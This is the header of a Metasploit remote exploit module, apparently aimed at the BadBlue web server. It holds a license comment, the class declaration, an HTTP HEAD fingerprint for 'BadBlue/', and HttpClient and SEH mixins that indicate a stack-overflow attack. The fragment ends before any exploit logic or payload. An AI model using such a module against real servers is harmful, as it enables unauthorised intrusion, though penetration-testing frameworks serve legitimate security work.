##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
# However, a proper Server header is returned when requesting /index.html or using HEAD.
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh